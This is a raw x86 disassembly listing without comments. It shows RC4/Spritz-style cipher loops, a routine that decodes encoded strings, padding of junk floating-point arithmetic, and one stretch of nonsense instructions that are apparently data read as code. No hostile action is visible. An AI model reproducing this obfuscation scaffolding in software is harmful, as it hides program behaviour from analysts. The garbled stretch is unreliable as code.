movzx edx, byte [ebp - 0x329c]
mov al, byte [ebp + ecx - 0x57a0]
mov byte [ebp + edx - 0x57a0], al
movzx ecx, byte [ebp - 0x327f]
movzx edx, byte [ebp - 0x327e]
mov al, byte [ebp + ecx - 0x57a0]
mov byte [ebp + edx - 0x57a0], al
movzx ecx, byte [ebp - 0x326e]
movzx edx, byte [ebp - 0x327f]
mov al, byte [ebp + ecx - 0x57a0]
mov byte [ebp + edx - 0x57a0], al
movsd xmm0, qword [0xa66fb8]
movsd qword [ebp - 0x4b74], xmm0
movsd xmm0, qword [0xa66ed0]
movsd qword [ebp - 0x4d6c], xmm0
movsd xmm0, qword [0xa66d68]
movsd qword [ebp - 0x4648], xmm0
movsd xmm0, qword [0xa66b28]
movsd qword [ebp - 0x4650], xmm0
movsd xmm0, qword [0xa668a0]
movsd qword [ebp - 0x456c], xmm0
movsd xmm0, qword [ebp - 0x4650]
addsd xmm0, qword [ebp - 0x456c]
movsd qword [ebp - 0x4650], xmm0
movsd xmm0, qword [ebp - 0x4d6c]
subsd xmm0, qword [ebp - 0x456c]
movsd qword [ebp - 0x4d6c], xmm0
movsd xmm0, qword [ebp - 0x4648]
addsd xmm0, qword [ebp - 0x456c]
movsd qword [ebp - 0x4648], xmm0
movsd xmm0, qword [ebp - 0x4648]
addsd xmm0, qword [ebp - 0x456c]
movsd qword [ebp - 0x4648], xmm0
movsd xmm0, qword [ebp - 0x4648]
subsd xmm0, qword [ebp - 0x456c]
movsd qword [ebp - 0x4648], xmm0
movsd xmm0, qword [ebp - 0x456c]
comisd xmm0, xmmword [ebp - 0x4b74]
jbe 0x43569a
movsd xmm0, qword [ebp - 0x4648]
subsd xmm0, qword [ebp - 0x456c]
movsd qword [ebp - 0x4648], xmm0
movsd xmm0, qword [ebp - 0x4d6c]
addsd xmm0, qword [ebp - 0x4650]
movsd qword [ebp - 0x4d6c], xmm0
movsd xmm0, qword [ebp - 0x456c]
divsd xmm0, qword [ebp - 0x4d6c]
movsd qword [ebp - 0x456c], xmm0
movsd xmm0, qword [ebp - 0x4b74]
mulsd xmm0, qword [ebp - 0x4648]
movsd qword [ebp - 0x4b74], xmm0
movsd xmm0, qword [ebp - 0x456c]
divsd xmm0, qword [ebp - 0x4d6c]
movsd qword [ebp - 0x456c], xmm0
jmp 0x435726
movsd xmm0, qword [ebp - 0x4648]
subsd xmm0, qword [ebp - 0x456c]
movsd qword [ebp - 0x4648], xmm0
movsd xmm0, qword [ebp - 0x4650]
mulsd xmm0, qword [ebp - 0x4b74]
movsd qword [ebp - 0x4650], xmm0
movsd xmm0, qword [ebp - 0x4650]
subsd xmm0, qword [ebp - 0x4b74]
movsd qword [ebp - 0x4650], xmm0
movsd xmm0, qword [ebp - 0x4650]
subsd xmm0, qword [ebp - 0x4b74]
movsd qword [ebp - 0x4650], xmm0
movsd xmm0, qword [ebp - 0x4650]
subsd xmm0, qword [ebp - 0x4b74]
movsd qword [ebp - 0x4650], xmm0
movzx ecx, byte [ebp - 0x326e]
mov dl, byte [ebp - 0x32d5]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x32d5]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx edx, byte [ebp - 0x32d6]
add edx, ecx
mov byte [ebp - 0x32d6], dl
movzx eax, byte [ebp - 0x32d7]
movzx ecx, byte [ebp - 0x327e]
movzx edx, byte [ebp + ecx - 0x57a0]
movzx ecx, byte [ebp - 0x326e]
movzx ecx, byte [ebp + ecx - 0x57a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57a0]
xor eax, edx
movzx ecx, byte [ebp - 0x327f]
movzx edx, byte [ebp + ecx - 0x57a0]
movzx ecx, byte [ebp - 0x329c]
movzx ecx, byte [ebp + ecx - 0x57a0]
add edx, ecx
movzx ecx, byte [ebp - 0x32d6]
movzx ecx, byte [ebp + ecx - 0x57a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp + edx - 0x57a0]
xor eax, ecx
mov byte [ebp - 0x327f], al
mov dl, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], dl
mov al, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], al
cmp dword [ebp - 0x3378], 0
jle 0x435801
movsx cx, byte [ebp - 0x3325]
mov edx, dword [ebp - 0x3378]
mov word [ebp + edx*2 - 0x2fa], cx
mov eax, dword [ebp - 0x3378]
add eax, 1
mov dword [ebp - 0x3378], eax
mov ecx, dword [ebp - 0x3580]
add ecx, 1
mov dword [ebp - 0x3580], ecx
mov edx, dword [ebp - 0x3378]
shl edx, 1
mov dword [ebp - 0x386c], edx
mov eax, dword [ebp - 0x3870]
add eax, dword [ebp - 0x386c]
movzx ecx, byte [eax]
mov dword [ebp - 0x37cc], ecx
mov dword [ebp - 0x37d0], 0x5d
mov edx, dword [ebp - 0x3378]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3874], eax
mov ecx, dword [ebp - 0x3870]
add ecx, dword [ebp - 0x3874]
movzx edx, byte [ecx]
mov dword [ebp - 0x37d4], edx
mov dword [ebp - 0x37d8], 0x5d
mov eax, dword [ebp - 0x37cc]
sub eax, dword [ebp - 0x37d0]
mov dword [ebp - 0x37dc], eax
mov ecx, dword [ebp - 0x37d4]
sub ecx, dword [ebp - 0x37d8]
mov dword [ebp - 0x37e0], ecx
mov edx, dword [ebp - 0x37dc]
shl edx, 4
mov dword [ebp - 0x3878], edx
mov eax, dword [ebp - 0x37e0]
mov dword [ebp - 0x387c], eax
mov ecx, dword [ebp - 0x3878]
or ecx, dword [ebp - 0x387c]
mov dword [ebp - 0x3880], ecx
mov dl, byte [ebp - 0x3880]
mov byte [ebp - 0x32d7], dl
movzx eax, byte [ebp - 0x329c]
mov cl, byte [ebp + eax - 0x57a0]
mov byte [ebp - 0x32d5], cl
movzx edx, byte [ebp - 0x326e]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x327e]
add ecx, eax
mov byte [ebp - 0x327e], cl
mov dl, byte [ebp - 0x326e]
add dl, 1
mov byte [ebp - 0x326e], dl
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp - 0x327e]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
movzx ecx, byte [ebp - 0x327f]
mov dl, byte [ebp + eax - 0x57a0]
mov byte [ebp + ecx - 0x57a0], dl
movzx eax, byte [ebp - 0x326e]
mov cl, byte [ebp - 0x32d5]
mov byte [ebp + eax - 0x57a0], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x57a0]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x327e]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x326e]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
xor edx, ecx
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp + eax - 0x57a0]
movzx eax, byte [ebp - 0x329c]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x57a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57a0]
movzx eax, byte [ebp + ecx - 0x57a0]
xor edx, eax
mov byte [ebp - 0x327f], dl
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x329c], cl
mov dl, byte [ebp - 0x327f]
mov byte [ebp - 0x3325], dl
cmp dword [ebp - 0x3378], 0
jle 0x435a5c
movsx ax, byte [ebp - 0x3325]
mov ecx, dword [ebp - 0x3378]
mov word [ebp + ecx*2 - 0x2fa], ax
mov edx, 2
imul eax, edx, 0x23
mov dword [ebp - 0x53d8], eax
cmp dword [ebp - 0x53d8], 0x48
jae 0x435a75
jmp 0x435a7a
call fcn.009ea777
xor ecx, ecx
mov edx, dword [ebp - 0x53d8]
mov word [ebp + edx - 0x2f8], cx
jmp 0x435ae0
mov dword [ebp - 0x4998], 0
jmp 0x435aa7
mov eax, dword [ebp - 0x4998]
add eax, 1
mov dword [ebp - 0x4998], eax
cmp dword [ebp - 0x4998], 0x24
jge 0x435ae0
mov ecx, dword [ebp - 0x4998]
shl ecx, 1
mov dword [ebp - 0x53d4], ecx
cmp dword [ebp - 0x53d4], 0x48
jae 0x435ac9
jmp 0x435ace
call fcn.009ea777
xor edx, edx
mov eax, dword [ebp - 0x53d4]
mov word [ebp + eax - 0x2f8], dx
jmp 0x435a98
push 0
push 1
mov ecx, dword [ebp - 0x4698]
push ecx
lea edx, [ebp - 0x264]
push edx
push 0
lea eax, [ebp - 0x2f8]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3260], 0
mov dword [ebp - 0x3190], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47ac], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4658], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4658], xmm0
jmp 0x435b57
movsd xmm0, qword [ebp - 0x4658]
addsd xmm0, qword [0xa66358]
movsd qword [ebp - 0x4658], xmm0
movsd xmm0, qword [0xa667e8]
comisd xmm0, xmmword [ebp - 0x4658]
jbe 0x435c08
movsd xmm0, qword [0xa66668]
mulsd xmm0, qword [ebp - 0x4658]
mulsd xmm0, qword [ebp - 0x4658]
movsd xmm1, qword [ebp - 0x4658]
mulsd xmm1, qword [ebp - 0x4658]
subsd xmm0, xmm1
movsd xmm1, qword [0xa663d0]
mulsd xmm1, qword [ebp - 0x4658]
mulsd xmm1, qword [ebp - 0x4658]
addsd xmm1, qword [0xa664c0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47ac]
movsd qword [ebp - 0x47ac], xmm0
movsd xmm0, qword [ebp - 0x47ac]
comisd xmm0, xmmword [0xa66500]
jbe 0x435c03
movsd xmm0, qword [0xa66298]
mulsd xmm0, qword [ebp - 0x4658]
movsd xmm1, qword [ebp - 0x47ac]
subsd xmm1, xmm0
movsd qword [ebp - 0x47ac], xmm1
jmp 0x435b3f
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47ac]
jbe 0x435c86
sbb dword [eax - 0x5fe96ae8], esp
push ss
mov eax, dword [0xa1129318]
push ss
pushfd
adc al, 0x93
sbb byte [eax - 0x6ce863eb], ah
push ss
cdq
or al, 0x9a
or al, 0x9f
sbb dword [esi - 0x6bee5fe6], ebx
adc ebx, dword [ebp - 0x63f268f2]
pop ss
wait
setge byte [ecx]
popfd
pop ss
xchg edi, eax
setnp byte [edi]
wait
adc byte [ebx - 0x61e860e8], bl
pop fs
setle byte [edi]
mov byte [0x9c17a20f], al
adc dword [esi - 0x63ee63ea], edx
push ss
xchg ebp, eax
setbe byte [ebx]
popfd
adc eax, 0xc9b1a96
cwde
adc byte [eax + 0x3d7a795a], ah
pop ebp
bound esp, qword [ebp + 0x54]
inc esp
pop edi
and ch, byte [edi]
xor dword [ecx + ecx*2], edi
dec edx
jge 0x435cdb
insd dword es:[edi], dx
push eax
jmp 0x436bcf
mov dword [ebp - 0x3260], 0x435c15
mov dword [ebp - 0x3190], 0x435c6d
mov edx, dword [ebp - 0x3260]
mov dword [ebp - 0x4520], edx
mov eax, dword [ebp - 0x3190]
mov dword [ebp - 0x632c], eax
mov byte [ebp - 0x4028], 0x18
mov dword [ebp - 0x3884], 0
jmp 0x435cd4
mov ecx, dword [ebp - 0x3884]
add ecx, 1
mov dword [ebp - 0x3884], ecx
cmp dword [ebp - 0x3884], 0x100
jae 0x435cf5
add dword [eax], eax
add byte [ebx + 0x15], dh
mov edx, dword [ebp - 0x3884]
mov al, byte [ebp - 0x3884]
mov byte [ebp + edx - 0x6cac], al
jmp 0x435cc5
mov dword [ebp - 0x452c], 0
mov byte [ebp - 0x336c], 0
mov dword [ebp - 0x3884], 0xff
jmp 0x435d21
mov ecx, dword [ebp - 0x3884]
sub ecx, 1
mov dword [ebp - 0x3884], ecx
cmp dword [ebp - 0x3884], 0
jbe 0x435f91
mov dword [ebp - 0x4bf4], 0
mov dword [ebp - 0x499c], 1
mov edx, dword [ebp - 0x499c]
cmp edx, dword [ebp - 0x3884]
jae 0x435d62
mov eax, dword [ebp - 0x499c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x499c], ecx
jmp 0x435d42
mov edx, dword [ebp - 0x452c]
mov dword [ebp - 0x53d0], edx
cmp dword [ebp - 0x53d0], 3
ja case.default.0x435d81
mov eax, dword [ebp - 0x53d0]
jmp dword [eax*4 + 0x46cde4]
movzx ecx, byte [ebp - 0x336c]
movzx ebx, byte [ebp + ecx - 0x6cac]
movsd xmm0, qword [ebp - 0x47ac]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336c], bl
jmp 0x435e6a
movzx edx, byte [ebp - 0x336c]
movzx ebx, byte [ebp + edx - 0x6cac]
movsd xmm0, qword [ebp - 0x47ac]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336c], bl
jmp 0x435e6a
movzx eax, byte [ebp - 0x336c]
movzx ebx, byte [ebp + eax - 0x6cac]
movsd xmm0, qword [ebp - 0x47ac]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336c], bl
jmp 0x435e6a
movzx ecx, byte [ebp - 0x336c]
movzx ebx, byte [ebp + ecx - 0x6cac]
movsd xmm0, qword [ebp - 0x47ac]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x336c], bl
jmp 0x435e6a
movzx edx, byte [ebp - 0x336c]
movzx eax, byte [ebp + edx - 0x6cac]
mov ecx, dword [ebp - 0x632c]
add ecx, dword [ebp - 0x452c]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x336c], al
mov eax, dword [ebp - 0x452c]
add eax, 1
mov dword [ebp - 0x452c], eax
movzx ecx, byte [ebp - 0x4028]
cmp dword [ebp - 0x452c], ecx
jb 0x435ea8
mov dword [ebp - 0x452c], 0
movzx edx, byte [ebp - 0x4028]
movzx eax, byte [ebp - 0x336c]
add eax, edx
mov byte [ebp - 0x336c], al
movzx ecx, byte [ebp - 0x336c]
and ecx, dword [ebp - 0x499c]
mov dword [ebp - 0x4278], ecx
mov edx, dword [ebp - 0x4bf4]
add edx, 1
mov dword [ebp - 0x4bf4], edx
cmp dword [ebp - 0x4bf4], 0xb
jbe 0x435ee7
mov eax, dword [ebp - 0x4278]
xor edx, edx
div dword [ebp - 0x3884]
mov dword [ebp - 0x4278], edx
mov eax, dword [ebp - 0x4278]
cmp eax, dword [ebp - 0x3884]
ja 0x435d62
mov ecx, dword [ebp - 0x3884]
cmp ecx, dword [ebp - 0x4278]
je 0x435f8c
mov edx, dword [ebp - 0x4278]
movzx eax, byte [ebp + edx - 0x6cac]
mov ecx, dword [ebp - 0x3884]
movzx edx, byte [ebp + ecx - 0x6cac]
xor edx, eax
mov eax, dword [ebp - 0x3884]
mov byte [ebp + eax - 0x6cac], dl
mov ecx, dword [ebp - 0x3884]
movzx edx, byte [ebp + ecx - 0x6cac]
mov eax, dword [ebp - 0x4278]
movzx ecx, byte [ebp + eax - 0x6cac]
xor ecx, edx
mov edx, dword [ebp - 0x4278]
mov byte [ebp + edx - 0x6cac], cl
mov eax, dword [ebp - 0x4278]
movzx ecx, byte [ebp + eax - 0x6cac]
mov edx, dword [ebp - 0x3884]
movzx eax, byte [ebp + edx - 0x6cac]
xor eax, ecx
mov ecx, dword [ebp - 0x3884]
mov byte [ebp + ecx - 0x6cac], al
jmp 0x435d12
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x6cac]
mov byte [ebp - 0x3313], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x6cac]
mov byte [ebp - 0x332e], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x6cac]
mov byte [ebp - 0x33b9], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x6cac]
mov byte [ebp - 0x332f], al
movzx ecx, byte [ebp - 0x336c]
mov dl, byte [ebp + ecx - 0x6cac]
mov byte [ebp - 0x3383], dl
mov dword [ebp - 0x53cc], 0x58
cmp dword [ebp - 0x53cc], 2
jle 0x436b7b
mov eax, dword [ebp - 0x53cc]
and eax, 1
jne 0x436b7b
mov dword [ebp - 0x3888], 0
mov dword [ebp - 0x3ee0], 0
mov ecx, dword [ebp - 0x3ee0]
add ecx, 1
mov dword [ebp - 0x3ee0], ecx
mov dword [ebp - 0x4524], 0
mov edx, dword [ebp - 0x3888]
shl edx, 1
mov dword [ebp - 0x4524], edx
mov dword [ebp - 0x4398], 0
mov eax, dword [ebp - 0x4520]
add eax, dword [ebp - 0x4524]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x4398]
mov dword [ebp - 0x4398], ecx
mov dword [ebp - 0x4394], 0
mov edx, dword [ebp - 0x4394]
add edx, 0xb
mov dword [ebp - 0x4394], edx
mov dword [ebp - 0x451c], 0
mov eax, dword [ebp - 0x3888]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x451c], ecx
mov dword [ebp - 0x4390], 0
mov edx, dword [ebp - 0x4520]
add edx, dword [ebp - 0x451c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x4390]
mov dword [ebp - 0x4390], eax
mov dword [ebp - 0x438c], 0
mov ecx, dword [ebp - 0x438c]
add ecx, 0x93
mov dword [ebp - 0x438c], ecx
mov dword [ebp - 0x4408], 0
mov edx, dword [ebp - 0x4398]
sub edx, dword [ebp - 0x4394]
add edx, dword [ebp - 0x4408]
mov dword [ebp - 0x4408], edx
mov dword [ebp - 0x4384], 0
movss xmm0, dword [0xa67470]
movss dword [ebp - 0x4528], xmm0
movss xmm0, dword [0xa673d8]
movss dword [ebp - 0x4148], xmm0
movss xmm0, dword [0xa672d0]
movss dword [ebp - 0x439c], xmm0
movss xmm0, dword [0xa671ac]
movss dword [ebp - 0x41f8], xmm0
movss xmm0, dword [0xa67074]
movss dword [ebp - 0x3b38], xmm0
movss xmm0, dword [ebp - 0x4148]
subss xmm0, dword [ebp - 0x3b38]
movss dword [ebp - 0x4148], xmm0
movss xmm0, dword [ebp - 0x439c]
addss xmm0, dword [ebp - 0x3b38]
movss dword [ebp - 0x439c], xmm0
movss xmm0, dword [ebp - 0x41f8]
subss xmm0, dword [ebp - 0x3b38]
movss dword [ebp - 0x41f8], xmm0
movss xmm0, dword [ebp - 0x4528]
addss xmm0, dword [ebp - 0x3b38]
movss dword [ebp - 0x4528], xmm0
movss xmm0, dword [ebp - 0x41f8]
addss xmm0, dword [ebp - 0x3b38]
movss dword [ebp - 0x41f8], xmm0
movss xmm0, dword [ebp - 0x3b38]
comiss xmm0, dword [ebp - 0x4528]
jbe 0x436275
movss xmm0, dword [ebp - 0x4148]
subss xmm0, dword [ebp - 0x41f8]
movss dword [ebp - 0x4148], xmm0
movss xmm0, dword [ebp - 0x439c]
mulss xmm0, dword [ebp - 0x3b38]
movss dword [ebp - 0x439c], xmm0
movss xmm0, dword [ebp - 0x4148]
subss xmm0, dword [ebp - 0x41f8]
movss dword [ebp - 0x4148], xmm0
movss xmm0, dword [ebp - 0x439c]
divss xmm0, dword [ebp - 0x3b38]
movss dword [ebp - 0x439c], xmm0
movss xmm0, dword [ebp - 0x4148]
addss xmm0, dword [ebp - 0x41f8]
movss dword [ebp - 0x4148], xmm0
jmp 0x436305
movss xmm0, dword [ebp - 0x4148]
mulss xmm0, dword [ebp - 0x439c]
movss dword [ebp - 0x4148], xmm0
movss xmm0, dword [ebp - 0x3b38]
mulss xmm0, dword [ebp - 0x4528]
movss dword [ebp - 0x3b38], xmm0
movss xmm0, dword [ebp - 0x3b38]
subss xmm0, dword [ebp - 0x4528]
movss dword [ebp - 0x3b38], xmm0
movss xmm0, dword [ebp - 0x41f8]
subss xmm0, dword [ebp - 0x3b38]
movss dword [ebp - 0x41f8], xmm0
movss xmm0, dword [ebp - 0x3b38]
mulss xmm0, dword [ebp - 0x4528]
movss dword [ebp - 0x3b38], xmm0
mov eax, dword [ebp - 0x4390]
sub eax, dword [ebp - 0x438c]
add eax, dword [ebp - 0x4384]
mov dword [ebp - 0x4384], eax
mov dword [ebp - 0x4518], 0
mov ecx, dword [ebp - 0x4408]
shl ecx, 4
mov dword [ebp - 0x4518], ecx
mov dword [ebp - 0x4514], 0
mov edx, dword [ebp - 0x4384]
mov dword [ebp - 0x4514], edx
mov dword [ebp - 0x4510], 0
mov eax, dword [ebp - 0x4518]
or eax, dword [ebp - 0x4514]
mov dword [ebp - 0x4510], eax
mov byte [ebp - 0x33ba], 0
mov cl, byte [ebp - 0x4510]
mov byte [ebp - 0x33ba], cl
mov byte [ebp - 0x33bd], 0
movzx edx, byte [ebp - 0x3383]
mov al, byte [ebp + edx - 0x6cac]
mov byte [ebp - 0x33bd], al
movzx ecx, byte [ebp - 0x3313]
movzx edx, byte [ebp + ecx - 0x6cac]
movzx eax, byte [ebp - 0x332e]
add eax, edx
mov byte [ebp - 0x332e], al
mov cl, byte [ebp - 0x3313]
add cl, 1
mov byte [ebp - 0x3313], cl
movzx edx, byte [ebp - 0x332e]
movzx eax, byte [ebp - 0x3383]
mov cl, byte [ebp + edx - 0x6cac]
mov byte [ebp + eax - 0x6cac], cl
movzx edx, byte [ebp - 0x332f]
movzx eax, byte [ebp - 0x332e]
mov cl, byte [ebp + edx - 0x6cac]
mov byte [ebp + eax - 0x6cac], cl
movzx edx, byte [ebp - 0x3313]
movzx eax, byte [ebp - 0x332f]
mov cl, byte [ebp + edx - 0x6cac]
mov byte [ebp + eax - 0x6cac], cl
movzx edx, byte [ebp - 0x3313]
mov al, byte [ebp - 0x33bd]
mov byte [ebp + edx - 0x6cac], al
movzx ecx, byte [ebp - 0x33bd]
movzx edx, byte [ebp + ecx - 0x6cac]
movzx eax, byte [ebp - 0x33b9]
add eax, edx
mov byte [ebp - 0x33b9], al
movzx ecx, byte [ebp - 0x33ba]
movzx edx, byte [ebp - 0x332e]
movzx eax, byte [ebp + edx - 0x6cac]
movzx edx, byte [ebp - 0x3313]
movzx edx, byte [ebp + edx - 0x6cac]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6cac]
xor ecx, eax
movzx edx, byte [ebp - 0x332f]
movzx eax, byte [ebp + edx - 0x6cac]
movzx edx, byte [ebp - 0x3383]
movzx edx, byte [ebp + edx - 0x6cac]
add eax, edx
movzx edx, byte [ebp - 0x33b9]
movzx edx, byte [ebp + edx - 0x6cac]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6cac]
movzx edx, byte [ebp + eax - 0x6cac]
xor ecx, edx
mov byte [ebp - 0x332f], cl
mov al, byte [ebp - 0x33ba]
mov byte [ebp - 0x3383], al
mov cl, byte [ebp - 0x332f]
mov byte [ebp - 0x35b9], cl
cmp dword [ebp - 0x3888], 0
jle 0x4364ec
movsx dx, byte [ebp - 0x35b9]
mov eax, dword [ebp - 0x3888]
mov word [ebp + eax*2 - 0x57a], dx
mov ecx, dword [ebp - 0x3ee0]
add ecx, 0x15
mov dword [ebp - 0x3ee0], ecx
mov edx, dword [ebp - 0x3888]
add edx, 1
mov dword [ebp - 0x4bf8], edx
jmp 0x43651b
mov eax, dword [ebp - 0x4bf8]
add eax, 1
mov dword [ebp - 0x4bf8], eax
mov ecx, dword [ebp - 0x4bf8]
cmp ecx, dword [ebp - 0x3ee0]
jge 0x43689c
mov edx, dword [ebp - 0x3888]
add edx, 1
mov dword [ebp - 0x3888], edx
mov eax, dword [ebp - 0x3888]
shl eax, 1
mov dword [ebp - 0x4524], eax
mov ecx, dword [ebp - 0x4520]
add ecx, dword [ebp - 0x4524]
movzx edx, byte [ecx]
mov dword [ebp - 0x4398], edx
mov dword [ebp - 0x4394], 0xb
mov eax, dword [ebp - 0x3888]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x451c], ecx
mov edx, dword [ebp - 0x4520]
add edx, dword [ebp - 0x451c]
movzx eax, byte [edx]
mov dword [ebp - 0x4390], eax
mov dword [ebp - 0x438c], 0x93
mov ecx, dword [ebp - 0x4398]
sub ecx, dword [ebp - 0x4394]
mov dword [ebp - 0x4408], ecx
mov edx, dword [ebp - 0x4390]
sub edx, dword [ebp - 0x438c]
mov dword [ebp - 0x4384], edx
mov eax, dword [ebp - 0x4408]
shl eax, 4
mov dword [ebp - 0x4518], eax
mov ecx, dword [ebp - 0x4384]
mov dword [ebp - 0x4514], ecx
mov edx, dword [ebp - 0x4518]
or edx, dword [ebp - 0x4514]
mov dword [ebp - 0x4510], edx
mov al, byte [ebp - 0x4510]
mov byte [ebp - 0x33ba], al
movzx ecx, byte [ebp - 0x3383]
mov dl, byte [ebp + ecx - 0x6cac]
mov byte [ebp - 0x33bd], dl
movzx eax, byte [ebp - 0x3313]
movzx ecx, byte [ebp + eax - 0x6cac]
movzx edx, byte [ebp - 0x332e]
add edx, ecx
mov byte [ebp - 0x332e], dl
mov al, byte [ebp - 0x3313]
add al, 1
mov byte [ebp - 0x3313], al
movzx ecx, byte [ebp - 0x332e]
movzx edx, byte [ebp - 0x3383]
mov al, byte [ebp + ecx - 0x6cac]
mov byte [ebp + edx - 0x6cac], al
movzx ecx, byte [ebp - 0x332f]
movzx edx, byte [ebp - 0x332e]
mov al, byte [ebp + ecx - 0x6cac]
mov byte [ebp + edx - 0x6cac], al
movzx ecx, byte [ebp - 0x3313]
movzx edx, byte [ebp - 0x332f]
mov al, byte [ebp + ecx - 0x6cac]
mov byte [ebp + edx - 0x6cac], al
movzx ecx, byte [ebp - 0x3313]
mov dl, byte [ebp - 0x33bd]
mov byte [ebp + ecx - 0x6cac], dl
movzx eax, byte [ebp - 0x33bd]
movzx ecx, byte [ebp + eax - 0x6cac]
movzx edx, byte [ebp - 0x33b9]
add edx, ecx
mov byte [ebp - 0x33b9], dl
movss xmm0, dword [0xa67408]
movss dword [ebp - 0x421c], xmm0
movss xmm0, dword [0xa67290]
movss dword [ebp - 0x3edc], xmm0
movss xmm0, dword [0xa670f0]
movss dword [ebp - 0x42f4], xmm0
movss xmm0, dword [ebp - 0x3edc]
addss xmm0, dword [ebp - 0x42f4]
movss dword [ebp - 0x3edc], xmm0
movss xmm0, dword [ebp - 0x421c]
subss xmm0, dword [ebp - 0x42f4]
movss dword [ebp - 0x421c], xmm0
movss xmm0, dword [ebp - 0x3edc]
addss xmm0, dword [ebp - 0x42f4]
movss dword [ebp - 0x3edc], xmm0
movss xmm0, dword [ebp - 0x3edc]
comiss xmm0, dword [ebp - 0x42f4]
jbe 0x436818
movss xmm0, dword [ebp - 0x3edc]
subss xmm0, dword [ebp - 0x421c]
movss dword [ebp - 0x3edc], xmm0
movss xmm0, dword [ebp - 0x3edc]
addss xmm0, dword [ebp - 0x421c]
movss dword [ebp - 0x3edc], xmm0
movss xmm0, dword [ebp - 0x421c]
addss xmm0, dword [ebp - 0x42f4]
movss dword [ebp - 0x421c], xmm0
movzx eax, byte [ebp - 0x33ba]
movzx ecx, byte [ebp - 0x332e]
movzx edx, byte [ebp + ecx - 0x6cac]
movzx ecx, byte [ebp - 0x3313]
movzx ecx, byte [ebp + ecx - 0x6cac]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6cac]
xor eax, edx
movzx ecx, byte [ebp - 0x332f]
movzx edx, byte [ebp + ecx - 0x6cac]
movzx ecx, byte [ebp - 0x3383]
movzx ecx, byte [ebp + ecx - 0x6cac]
add edx, ecx
movzx ecx, byte [ebp - 0x33b9]
movzx ecx, byte [ebp + ecx - 0x6cac]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x6cac]
movzx ecx, byte [ebp + edx - 0x6cac]
xor eax, ecx
mov byte [ebp - 0x332f], al
jmp 0x436860
movss xmm0, dword [ebp - 0x42f4]
subss xmm0, dword [ebp - 0x421c]
movss dword [ebp - 0x42f4], xmm0
movss xmm0, dword [ebp - 0x3edc]
addss xmm0, dword [ebp - 0x42f4]
movss dword [ebp - 0x3edc], xmm0
movss xmm0, dword [ebp - 0x421c]
subss xmm0, dword [ebp - 0x3edc]
movss dword [ebp - 0x421c], xmm0
mov dl, byte [ebp - 0x33ba]
mov byte [ebp - 0x3383], dl
mov al, byte [ebp - 0x332f]
mov byte [ebp - 0x35b9], al
cmp dword [ebp - 0x3888], 0
jle 0x436897
movsx cx, byte [ebp - 0x35b9]
mov edx, dword [ebp - 0x3888]
mov word [ebp + edx*2 - 0x57a], cx
jmp 0x43650c
mov eax, dword [ebp - 0x3ee0]
add eax, 1
mov dword [ebp - 0x3ee0], eax
mov ecx, dword [ebp - 0x3ee0]
add ecx, 0x16
mov dword [ebp - 0x3ee0], ecx
mov edx, dword [ebp - 0x3888]
add edx, 1
mov dword [ebp - 0x4bfc], edx
jmp 0x4368da
mov eax, dword [ebp - 0x4bfc]
add eax, 1
mov dword [ebp - 0x4bfc], eax
mov ecx, dword [ebp - 0x4bfc]
cmp ecx, dword [ebp - 0x3ee0]
jge 0x436b3c
mov edx, dword [ebp - 0x3888]
add edx, 1
mov dword [ebp - 0x3888], edx
mov eax, dword [ebp - 0x3888]
shl eax, 1
